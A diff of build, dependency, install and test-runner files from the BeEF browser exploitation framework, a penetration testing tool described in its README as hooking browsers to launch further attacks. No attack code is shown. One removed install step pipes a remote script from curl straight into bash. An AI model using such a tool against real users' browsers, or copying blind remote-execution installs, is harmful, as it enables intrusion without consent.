RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc \
&& apt-get update \
&& apt-get install -y --no-install-recommends \
git \
curl \
libssl-dev \
xz-utils \
pkg-config \
make \
g++ \
libcurl4-openssl-dev \
ruby-dev \
libyaml-dev \
libffi-dev \
zlib1g-dev \
libsqlite3-dev \
sqlite3 \
&& bundle install --gemfile=/beef/Gemfile --jobs=`nproc` \
&& rm -rf /usr/local/bundle/cache \
&& chmod -R a+r /usr/local/bundle \
&& rm -rf /var/lib/apt/lists/*
# ------------------------------------- End of Builder 0 -------------------------------------------------
# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
FROM ruby:3.4.7-slim-bookworm
LABEL maintainer="Beef Project" \
source_url="github.com/beefproject/beef" \
homepage="https://beefproject.com/"
# BeEF UI/Hook port
ARG UI_PORT=3000
ARG PROXY_PORT=6789
ARG WEBSOCKET_PORT=61985
ARG WEBSOCKET_SECURE_PORT=61986
# Create service account to run BeEF and install BeEF's runtime dependencies
RUN adduser --home /beef --gecos beef --disabled-password beef \
&& apt-get update \
&& apt-get install -y --no-install-recommends \
curl \
wget \
espeak \
lame \
openssl \
libreadline-dev \
libyaml-dev \
libxml2-dev \
libxslt-dev \
libncurses5-dev \
libsqlite3-dev \
sqlite3 \
zlib1g \
bison \
nodejs \
firefox-esr \
&& apt-get -y clean \
&& rm -rf /var/lib/apt/lists/*
# Install geckodriver for Selenium tests
# Pin version and verify checksum to mitigate supply chain attacks
ENV GECKODRIVER_VERSION=v0.36.0
ENV GECKODRIVER_SHA256=0bde38707eb0a686a20c6bd50f4adcc7d60d4f73c60eb83ee9e0db8f65823e04
RUN wget -q "https://github.com/mozilla/geckodriver/releases/download/${GECKODRIVER_VERSION}/geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" \
&& echo "${GECKODRIVER_SHA256} geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" | sha256sum -c - \
&& tar -xzf "geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz" -C /usr/local/bin \
&& chmod +x /usr/local/bin/geckodriver \
&& rm "geckodriver-${GECKODRIVER_VERSION}-linux64.tar.gz"
# Use gemset created by the builder above
COPY --chown=beef:beef . /beef
COPY --from=builder /usr/local/bundle /usr/local/bundle
# Ensure we are using our service account by default
USER beef
# Expose UI, Proxy, WebSocket server, and WebSocketSecure server ports
EXPOSE $UI_PORT $PROXY_PORT $WEBSOCKET_PORT $WEBSOCKET_SECURE_PORT
HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "curl", "-fS", "localhost:$UI_PORT" ]
WORKDIR /beef
ENTRYPOINT ["/beef/beef"]
# ------------------------------------- End of Builder 1 -------------------------------------------------

127
Gemfile
View File

@@ -1,56 +1,91 @@
# BeEF's Gemfile
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Gems only required on Windows, or with specific Windows issues
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
gem "win32console"
gem "eventmachine", "1.0.0.beta.4.1"
else
gem "eventmachine", "0.12.10"
gem 'net-smtp', require: false
gem 'json'
gem 'eventmachine', '~> 1.2', '>= 1.2.7'
gem 'thin', '~> 2.0'
gem 'sinatra', '~> 4.1'
gem 'rack', '~> 3.2'
gem 'rack-protection', '~> 4.2.1'
gem 'em-websocket', '~> 0.5.3' # WebSocket support
gem 'uglifier', '~> 4.2'
gem 'mime-types', '~> 3.7'
gem 'execjs', '~> 2.10'
gem 'ansi', '~> 1.5'
gem 'term-ansicolor', :require => 'term/ansicolor'
gem 'rubyzip', '~> 3.2'
gem 'espeak-ruby', '~> 1.1.0' # Text-to-Voice
gem 'rake', '~> 13.3'
gem 'activerecord', '~> 8.1'
gem 'otr-activerecord', '~> 2.6.0'
gem 'sqlite3', '~> 2.9'
gem 'rubocop', '~> 1.85.0', require: false
# Geolocation support
group :geoip do
gem 'maxmind-db', '~> 1.4'
end
gem "thin"
gem "sinatra", "1.3.2"
gem "ansi"
gem "term-ansicolor", :require => "term/ansicolor"
gem "dm-core"
gem "json"
gem "data_objects"
gem "dm-sqlite-adapter"
gem "parseconfig"
gem "erubis"
gem "dm-migrations"
gem "msfrpc-client"
gem 'parseconfig', '~> 1.1', '>= 1.1.2'
gem 'erubis', '~> 2.7'
if ENV['BEEF_TEST']
# for running unit tests
gem "test-unit"
gem "test-unit-full"
gem "curb"
gem "test-unit"
gem "selenium"
gem "selenium-webdriver"
# nokogirl is needed by capybara which may require one of the below commands
# Metasploit Integration extension
group :ext_msf do
gem 'msfrpc-client', '~> 1.1', '>= 1.1.2'
gem 'xmlrpc', '~> 0.3.3'
end
# Notifications extension
group :ext_notifications do
# Pushover
gem 'rushover', '~> 0.3.0'
# Slack
gem 'slack-notifier', '~> 2.4'
end
# DNS extension
group :ext_dns do
gem 'async-dns', '~> 1.4'
gem 'async', '~> 1.32'
end
# QRcode extension
group :ext_qrcode do
gem 'qr4r', '~> 0.6.1'
end
# For running unit tests
group :test do
gem 'simplecov', '~> 0.22'
gem 'test-unit-full', '~> 0.0.5'
gem 'rspec', '~> 3.13'
gem 'rdoc', '~> 7.2'
gem 'browserstack-local', '~> 1.4'
gem 'irb', '~> 1.17'
gem 'pry-byebug', '~> 3.12'
gem 'rest-client', '~> 2.1.0'
gem 'websocket-client-simple', '~> 0.6.1'
# Note: curb gem requires curl libraries
# sudo apt-get install libcurl4-openssl-dev
gem 'curb', '~> 1.2'
# Note: selenium-webdriver 3.x is incompatible with Firefox version 48 and prior
# gem 'selenium' # Requires old version of selenium which is no longer available
gem 'geckodriver-helper', '~> 0.24.0'
gem 'selenium-webdriver', '~> 4.41'
# Note: nokogiri is needed by capybara which may require one of the below commands
# sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt
gem "capybara"
#RESTful API tests/generic command module tests
gem "rest-client", "~> 1.6.7"
gem 'capybara', '~> 3.40'
end
source "http://rubygems.org"
source 'https://rubygems.org'

364
Gemfile.lock Normal file
View File

@@ -0,0 +1,364 @@
GEM
remote: https://rubygems.org/
specs:
activemodel (8.1.2)
activesupport (= 8.1.2)
activerecord (8.1.2)
activemodel (= 8.1.2)
activesupport (= 8.1.2)
timeout (>= 0.4.0)
activesupport (8.1.2)
base64
bigdecimal
concurrent-ruby (~> 1.0, >= 1.3.1)
connection_pool (>= 2.2.5)
drb
i18n (>= 1.6, < 2)
json
logger (>= 1.4.2)
minitest (>= 5.1)
securerandom (>= 0.3)
tzinfo (~> 2.0, >= 2.0.5)
uri (>= 0.13.1)
addressable (2.8.7)
public_suffix (>= 2.0.2, < 7.0)
ansi (1.5.0)
archive-zip (0.13.1)
io-like (~> 0.4.0)
ast (2.4.3)
async (1.32.1)
console (~> 1.10)
nio4r (~> 2.3)
timers (~> 4.1)
async-dns (1.4.1)
async
io-endpoint
base64 (0.3.0)
bigdecimal (4.0.1)
browserstack-local (1.4.3)
byebug (13.0.0)
reline (>= 0.6.0)
capybara (3.40.0)
addressable
matrix
mini_mime (>= 0.1.3)
nokogiri (~> 1.11)
rack (>= 1.6.0)
rack-test (>= 0.6.3)
regexp_parser (>= 1.5, < 3.0)
xpath (~> 3.2)
coderay (1.1.3)
concurrent-ruby (1.3.6)
connection_pool (3.0.2)
console (1.34.0)
fiber-annotation
fiber-local (~> 1.1)
json
curb (1.2.2)
daemons (1.4.1)
date (3.5.1)
diff-lcs (1.6.2)
docile (1.4.1)
domain_name (0.6.20240107)
drb (2.2.3)
em-websocket (0.5.3)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
erb (6.0.1)
erubis (2.7.0)
espeak-ruby (1.1.0)
event_emitter (0.2.6)
eventmachine (1.2.7)
execjs (2.10.0)
fiber-annotation (0.2.0)
fiber-local (1.1.0)
fiber-storage
fiber-storage (1.0.1)
geckodriver-helper (0.24.0)
archive-zip (~> 0.7)
http-accept (1.7.0)
http-cookie (1.0.8)
domain_name (~> 0.5)
http_parser.rb (0.8.0)
i18n (1.14.8)
concurrent-ruby (~> 1.0)
io-console (0.8.2)
io-endpoint (0.15.2)
io-like (0.4.0)
irb (1.17.0)
pp (>= 0.6.0)
prism (>= 1.3.0)
rdoc (>= 4.0.0)
reline (>= 0.4.2)
json (2.18.1)
json-schema (6.1.0)
addressable (~> 2.8)
bigdecimal (>= 3.1, < 5)
language_server-protocol (3.17.0.5)
lint_roller (1.1.0)
logger (1.7.0)
matrix (0.4.3)
maxmind-db (1.4.0)
mcp (0.7.1)
json-schema (>= 4.1)
method_source (1.1.0)
mime-types (3.7.0)
logger
mime-types-data (~> 3.2025, >= 3.2025.0507)
mime-types-data (3.2025.0902)
mini_mime (1.1.5)
minitest (6.0.1)
prism (~> 1.5)
mojo_magick (0.6.8)
msfrpc-client (1.1.2)
msgpack (~> 1)
msgpack (1.8.0)
mustermann (3.0.4)
ruby2_keywords (~> 0.0.1)
net-protocol (0.2.2)
timeout
net-smtp (0.5.1)
net-protocol
netrc (0.11.0)
nio4r (2.7.4)
nokogiri (1.19.1-aarch64-linux-gnu)
racc (~> 1.4)
nokogiri (1.19.1-aarch64-linux-musl)
racc (~> 1.4)
nokogiri (1.19.1-arm-linux-gnu)
racc (~> 1.4)
nokogiri (1.19.1-arm-linux-musl)
racc (~> 1.4)
nokogiri (1.19.1-arm64-darwin)
racc (~> 1.4)
nokogiri (1.19.1-x86_64-darwin)
racc (~> 1.4)
nokogiri (1.19.1-x86_64-linux-gnu)
racc (~> 1.4)
nokogiri (1.19.1-x86_64-linux-musl)
racc (~> 1.4)
otr-activerecord (2.6.0)
activerecord (>= 6.0, < 9.0)
parallel (1.27.0)
parseconfig (1.1.2)
parser (3.3.10.2)
ast (~> 2.4.1)
racc
power_assert (2.0.5)
pp (0.6.3)
prettyprint
prettyprint (0.2.0)
prism (1.9.0)
pry (0.16.0)
coderay (~> 1.1)
method_source (~> 1.0)
reline (>= 0.6.0)
pry-byebug (3.12.0)
byebug (~> 13.0)
pry (>= 0.13, < 0.17)
psych (5.3.1)
date
stringio
public_suffix (6.0.2)
qr4r (0.6.2)
mojo_magick (~> 0.6.5)
rqrcode_core (~> 1.0)
racc (1.8.1)
rack (3.2.5)
rack-protection (4.2.1)
base64 (>= 0.1.0)
logger (>= 1.6.0)
rack (>= 3.0.0, < 4)
rack-session (2.1.1)
base64 (>= 0.1.0)
rack (>= 3.0.0)
rack-test (2.2.0)
rack (>= 1.3)
rainbow (3.1.1)
rake (13.3.1)
rdoc (7.2.0)
erb
psych (>= 4.0.0)
tsort
regexp_parser (2.11.3)
reline (0.6.3)
io-console (~> 0.5)
rest-client (2.1.0)
http-accept (>= 1.7.0, < 2.0)
http-cookie (>= 1.0.2, < 2.0)
mime-types (>= 1.16, < 4.0)
netrc (~> 0.8)
rexml (3.4.4)
rqrcode_core (1.2.0)
rr (3.1.2)
rspec (3.13.2)
rspec-core (~> 3.13.0)
rspec-expectations (~> 3.13.0)
rspec-mocks (~> 3.13.0)
rspec-core (3.13.6)
rspec-support (~> 3.13.0)
rspec-expectations (3.13.5)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0)
rspec-mocks (3.13.6)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.13.0)
rspec-support (3.13.6)
rubocop (1.85.0)
json (~> 2.3)
language_server-protocol (~> 3.17.0.2)
lint_roller (~> 1.1.0)
mcp (~> 0.6)
parallel (~> 1.10)
parser (>= 3.3.0.2)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 2.9.3, < 3.0)
rubocop-ast (>= 1.49.0, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 2.4.0, < 4.0)
rubocop-ast (1.49.0)
parser (>= 3.3.7.2)
prism (~> 1.7)
ruby-progressbar (1.13.0)
ruby2_keywords (0.0.5)
rubyzip (3.2.2)
rushover (0.3.0)
json
rest-client
securerandom (0.4.1)
selenium-webdriver (4.41.0)
base64 (~> 0.2)
logger (~> 1.4)
rexml (~> 3.2, >= 3.2.5)
rubyzip (>= 1.2.2, < 4.0)
websocket (~> 1.0)
simplecov (0.22.0)
docile (~> 1.1)
simplecov-html (~> 0.11)
simplecov_json_formatter (~> 0.1)
simplecov-html (0.13.2)
simplecov_json_formatter (0.1.4)
sinatra (4.2.1)
logger (>= 1.6.0)
mustermann (~> 3.0)
rack (>= 3.0.0, < 4)
rack-protection (= 4.2.1)
rack-session (>= 2.0.0, < 3)
tilt (~> 2.0)
slack-notifier (2.4.0)
sqlite3 (2.9.0-aarch64-linux-gnu)
sqlite3 (2.9.0-aarch64-linux-musl)
sqlite3 (2.9.0-arm-linux-gnu)
sqlite3 (2.9.0-arm-linux-musl)
sqlite3 (2.9.0-arm64-darwin)
sqlite3 (2.9.0-x86_64-darwin)
sqlite3 (2.9.0-x86_64-linux-gnu)
sqlite3 (2.9.0-x86_64-linux-musl)
stringio (3.2.0)
sync (0.5.0)
term-ansicolor (1.11.3)
tins (~> 1)
test-unit (3.7.0)
power_assert
test-unit-context (0.5.1)
test-unit (>= 2.4.0)
test-unit-full (0.0.5)
test-unit
test-unit-context
test-unit-notify
test-unit-rr
test-unit-runner-tap
test-unit-notify (1.0.4)
test-unit (>= 2.4.9)
test-unit-rr (1.0.5)
rr (>= 1.1.1)
test-unit (>= 2.5.2)
test-unit-runner-tap (1.1.2)
test-unit
thin (2.0.1)
daemons (~> 1.0, >= 1.0.9)
eventmachine (~> 1.0, >= 1.0.4)
logger
rack (>= 1, < 4)
tilt (2.6.1)
timeout (0.6.0)
timers (4.4.0)
tins (1.43.0)
bigdecimal
sync
tsort (0.2.0)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
uglifier (4.2.1)
execjs (>= 0.3.0, < 3)
unicode-display_width (3.2.0)
unicode-emoji (~> 4.1)
unicode-emoji (4.2.0)
uri (1.1.1)
webrick (1.9.1)
websocket (1.2.11)
websocket-client-simple (0.6.1)
event_emitter
websocket
xmlrpc (0.3.3)
webrick
xpath (3.2.0)
nokogiri (~> 1.8)
PLATFORMS
aarch64-linux-gnu
aarch64-linux-musl
arm-linux-gnu
arm-linux-musl
arm64-darwin
x86_64-darwin
x86_64-linux-gnu
x86_64-linux-musl
DEPENDENCIES
activerecord (~> 8.1)
ansi (~> 1.5)
async (~> 1.32)
async-dns (~> 1.4)
browserstack-local (~> 1.4)
capybara (~> 3.40)
curb (~> 1.2)
em-websocket (~> 0.5.3)
erubis (~> 2.7)
espeak-ruby (~> 1.1.0)
eventmachine (~> 1.2, >= 1.2.7)
execjs (~> 2.10)
geckodriver-helper (~> 0.24.0)
irb (~> 1.17)
json
maxmind-db (~> 1.4)
mime-types (~> 3.7)
msfrpc-client (~> 1.1, >= 1.1.2)
net-smtp
otr-activerecord (~> 2.6.0)
parseconfig (~> 1.1, >= 1.1.2)
pry-byebug (~> 3.12)
qr4r (~> 0.6.1)
rack (~> 3.2)
rack-protection (~> 4.2.1)
rake (~> 13.3)
rdoc (~> 7.2)
rest-client (~> 2.1.0)
rspec (~> 3.13)
rubocop (~> 1.85.0)
rubyzip (~> 3.2)
rushover (~> 0.3.0)
selenium-webdriver (~> 4.41)
simplecov (~> 0.22)
sinatra (~> 4.1)
slack-notifier (~> 2.4)
sqlite3 (~> 2.9)
term-ansicolor
test-unit-full (~> 0.0.5)
thin (~> 2.0)
uglifier (~> 4.2)
websocket-client-simple (~> 0.6.1)
xmlrpc (~> 0.3.3)
BUNDLED WITH
2.7.2

77
INSTALL.txt Normal file
View File

@@ -0,0 +1,77 @@
===============================================================================
Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - https://beefproject.com
See the file 'doc/COPYING' for copying permission
===============================================================================
Source
------
Obtain application source code either by downloading the latest archive:
$ wget https://github.com/beefproject/beef/archive/master.zip
Or cloning the Git repository from Github:
$ git clone https://github.com/beefproject/beef
Prerequisites
--------------
BeEF requires Ruby 3.0+.
If your operating system package manager does not support Ruby version 3.0,
you can add the brightbox ppa repository for the latest version of Ruby:
$ sudo apt-add-repository -y ppa:brightbox/ruby-ng
Alternatively, consider using a Ruby environment manager such as rbenv or rvm
to manager your Ruby versions. Refer to the following for more information:
* rbenv: https://github.com/rbenv/rbenv
* rvm: https://rvm.io/rvm/install
Installation
------------
Once Ruby is installed, run the install script in the BeEF directory:
./install
This script installs the required operating system packages and all the
prerequisite Ruby gems.
Upon successful installation, be sure to read the Configuration page
on the wiki for important details on configuring and securing BeEF.
https://github.com/beefproject/beef/wiki/Configuration
Start BeEF
----------
To start BeEF, simply run:
$ ./beef
Updating
--------
Due to the fast-paced nature of web browser development and webappsec landscape,
it's best to regularly update BeEF to the latest version.
If you're using BeEF from the GitHub repository, updating is as simple as:
$ ./update-beef
Or pull the latest repo yourself and then update the gems with:
$ git pull
$ bundle

79
README
View File

@@ -1,79 +0,0 @@
Copyright 2012 Wade Alcorn wade@bindshell.net
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing BeEF should be kept here.
=============================================
1. Prerequisites (platform independent)
2. Prerequisites (Windows)
3. Prerequisites (Linux)
4. Prerequisites (Mac OSX)
5. Install instructions
6. Run instructions
1. Prerequisites (platform independent)
BeEF requires ruby 1.9 and the "bundler" gem. Bundler can be installed by:
gem install bundler
2. Prerequisites (Windows)
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
3. Prerequisites (Linux)
!!! This must be done PRIOR to running the bundle install command !!!
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
3.2. rvm install 1.9.2
3.3. rvm use 1.9.2
4. Prerequisites (Mac OSX)
- XCode: provides the sqlite support BeEF needs
- Ruby 1.9
To install RVM and Ruby 1.9.3 on Mac OS:
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
$ rvm install 1.9.3-p0 --with-gcc=clang
$ rvm use 1.9.3
5. Install instructions
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
Navigate to the ruby source directory and run:
bundle install
Bundler installs all the pre-requisite gems.
6. Run instructions
Simply run:
./beef

76
README.md Normal file
View File

@@ -0,0 +1,76 @@
===============================================================================
Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - https://beefproject.com
See the file 'doc/COPYING' for copying permission
===============================================================================
What is BeEF?
-------------
__BeEF__ is short for __The Browser Exploitation Framework__. It is a penetration testing tool that focuses on the web browser.
Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.
Get Involved
------------
You can get in touch with the BeEF team. Just check out the following:
__Please, send us pull requests!__
__Web:__ https://beefproject.com/
__Bugs:__ https://github.com/beefproject/beef/issues
__Security Bugs:__ security@beefproject.com
__Twitter:__ [@beefproject](https://twitter.com/beefproject)
__Discord:__ https://discord.gg/25wT2P8pwx
Requirements
------------
* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
* [Ruby](https://www.ruby-lang.org): 3.0 or newer
* [SQLite](http://sqlite.org): 3.x
* [Node.js](https://nodejs.org): 10 or newer
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
* Selenium is required on OSX: `brew install selenium-server-standalone` (See https://github.com/shvets/selenium)
Quick Start
-----------
__The following is for the impatient.__
The `install` script installs the required operating system packages and all the prerequisite Ruby gems:
```
$ ./install
```
For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt) or the [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.
Documentation
---
* [User Guide](https://github.com/beefproject/beef/wiki#user-guide)
* [Frequently Asked Questions](https://github.com/beefproject/beef/wiki/FAQ)
* [JSdocs](https://beefproject.github.io/beef/index.html)
Usage
-----
To get started, simply execute beef and follow the instructions:
```
$ ./beef
```

189
Rakefile
View File

@@ -1,62 +1,98 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'rspec/core/rake_task'
task :default => ["quick"]
task :default => ["short"]
desc "Run quick tests"
task :quick do
Rake::Task['unit'].invoke # run unit tests
RSpec::Core::RakeTask.new(:short) do |task|
task.rspec_opts = ['--tag ~run_on_browserstack', '--tag ~run_on_long_tests']
end
desc "Run all tests"
task :all do
Rake::Task['integration'].invoke # run integration tests
Rake::Task['unit'].invoke # run unit tests
Rake::Task['msf'].invoke # run msf tests
RSpec::Core::RakeTask.new(:long) do |task|
task.rspec_opts = ['--tag ~run_on_browserstack']
end
desc "Run automated tests (for Jenkins)"
task :automated do
Rake::Task['xserver_start'].invoke
Rake::Task['all'].invoke
Rake::Task['xserver_stop'].invoke
RSpec::Core::RakeTask.new(:long_only) do |task|
task.rspec_opts = ['--tag ~run_on_browserstack', '--tag run_on_long_tests']
end
desc "Run integration unit tests"
task :integration => ["install"] do
Rake::Task['beef_start'].invoke
sh "export DISPLAY=:0; cd test/integration;ruby -W0 ts_integration.rb"
Rake::Task['beef_stop'].invoke
################################
# Browserstack
RSpec::Core::RakeTask.new(:browserstack) do |task|
task.rspec_opts = ['--tag run_on_browserstack']
end
desc "Run integration unit tests"
task :unit => ["install"] do
sh "cd test/unit;ruby -W0 ts_unit.rb"
RSpec::Core::RakeTask.new(:bs) do |task|
configs = Dir["spec/support/browserstack/**/*.yml"]
configs.each do |config|
config = config.split('spec/support/browserstack')[1]
ENV['CONFIG_FILE'] = config
puts "\e[45m#{config.upcase}\e[0m"
task.rspec_opts = ['--tag run_on_browserstack']
Rake::Task['browserstack'].invoke
Rake::Task['browserstack'].reenable
end
end
desc "Run MSF unit tests"
task :msf => ["install", "msf_install"] do
Rake::Task['msf_update'].invoke
Rake::Task['msf_start'].invoke
sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
Rake::Task['msf_stop'].invoke
################################
# SSL/TLS certificate
namespace :ssl do
desc 'Create a new SSL certificate'
task :create do
if File.file?('beef_key.pem')
puts 'Certificate already exists. Replace? [Y/n]'
confirm = STDIN.getch.chomp
unless confirm.eql?('') || confirm.downcase.eql?('y')
puts "Aborted"
exit 1
end
end
Rake::Task['ssl:replace'].invoke
end
desc 'Re-generate SSL certificate'
task :replace do
if File.file?('/usr/local/bin/openssl')
path = '/usr/local/bin/openssl'
elsif File.file?('/usr/bin/openssl')
path = '/usr/bin/openssl'
else
puts "[-] Error: could not find openssl"
exit 1
end
IO.popen([path, 'req', '-new', '-newkey', 'rsa:4096', '-sha256', '-x509', '-days', '3650', '-nodes', '-out', 'beef_cert.pem', '-keyout', 'beef_key.pem', '-subj', '/CN=localhost'], 'r+').read.to_s
end
end
task :install do
sh "export BEEF_TEST=true;bundle install"
################################
# Generate API documentation
desc 'Generate API documentation to doc/rdocs/index.html'
task :rdoc do
Rake::Task['rdoc:rerdoc'].invoke
end
################################
# rdoc
namespace :rdoc do
require 'rdoc/task'
desc 'Generate API documentation to doc/rdocs/index.html'
Rake::RDocTask.new do |rd|
rd.rdoc_dir = 'doc/rdocs'
rd.main = 'README.mkd'
rd.rdoc_files.include('core/**/*\.rb')
#'extensions/**/*\.rb'
#'modules/**/*\.rb'
rd.options << '--line-numbers'
rd.options << '--all'
end
end
################################
@@ -67,7 +103,7 @@ end
task :xserver_start do
printf "Starting X11 Server (wait 10 seconds)..."
@xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
printf '.'
sleep (i) # increase the . display rate
@@ -77,28 +113,53 @@ end
task :xserver_stop do
puts "\nShutting down X11 Server...\n"
sh "ps -ef|grep Xvfb|grep -v grep|awk '{print $2}'|xargs kill"
sh "ps -ef|grep Xvfb|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
end
################################
# BeEF environment set up
@beef_process_id = nil;
@beef_config_file = 'tmp/rk_beef_conf.yaml';
task :beef_start => 'beef' do
printf "Starting BeEF (wait 10 seconds)..."
@beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 10 seconds
# read environment param for creds or use bad_fred
test_user = ENV['TEST_BEEF_USER'] || 'bad_fred'
test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'
# write a rake config file for beef
config = YAML.safe_load(File.read('./config.yaml'))
config['beef']['credentials']['user'] = test_user
config['beef']['credentials']['passwd'] = test_pass
Dir.mkdir('tmp') unless Dir.exist?('tmp')
File.open(@beef_config_file, 'w') { |f| YAML.dump(config, f) }
# set the environment creds -- in case we're using bad_fred
ENV['TEST_BEEF_USER'] = test_user
ENV['TEST_BEEF_PASS'] = test_pass
config = nil
puts "Using config file: #{@beef_config_file}\n"
printf "Starting BeEF (wait a few seconds)..."
@beef_process_id = IO.popen("ruby ./beef -c #{@beef_config_file} -x 2> /dev/null", "w+")
delays = [5, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
delays.each do |i| # delay for a few seconds
printf '.'
sleep (i)
end
puts '.'
puts ".\n\n"
end
task :beef_stop do
puts "\nShutting down BeEF...\n"
sh "ps -ef|grep beef|grep -v grep|awk '{print $2}'|xargs kill"
# cleanup tmp/config files
puts "\nCleanup config file:\n"
rm_f @beef_config_file
ENV['TEST_BEEF_USER'] = nil
ENV['TEST_BEEF_PASS'] = nil
# shutting down
puts "Shutting down BeEF...\n"
sh "ps -ef|grep beef|grep -v grep|grep -v rake|awk '{print $2}'|xargs kill"
end
################################
@@ -109,7 +170,7 @@ end
task :msf_start => '/tmp/msf-test/msfconsole' do
printf "Starting MSF (wait 45 seconds)..."
@msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+")
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
delays.each do |i| # delay for 45 seconds
printf '.'
sleep (i) # increase the . display rate
@@ -126,7 +187,7 @@ task :msf_install => '/tmp/msf-test/msfconsole' do
# Handled by the 'test/msf-test/msfconsole' task.
end
task :msf_update => '/tmp/msf-test/msfconsole' do
task :msf_update => '/tmp/msf-test/msfconsole' do
sh "cd /tmp/msf-test;git pull"
end
@@ -135,20 +196,10 @@ file '/tmp/msf-test/msfconsole' do
sh "cd test;git clone https://github.com/rapid7/metasploit-framework.git /tmp/msf-test"
end
################################
# Create Mac DMG File
task :dmg do
puts "\nCreating Working Directory\n";
sh "mkdir dmg";
sh "mkdir dmg/BeEF";
sh "rsync * dmg/BeEF --exclude=dmg -r";
sh "ln -s /Applications dmg/";
puts "\nCreating DMG File\n"
sh "hdiutil create ./BeEF.dmg -srcfolder dmg -volname BeEF -ov";
puts "\nCleaning Up\n"
sh "rm -r dmg";
puts "\nBeEF.dmg created\n"
# ActiveRecord
namespace :db do
task :environment do
require_relative "beef"
end
end

18
VERSION
View File

@@ -1,17 +1,7 @@
#
# Copyright 2012 Wade Alcorn wade@bindshell.net
#
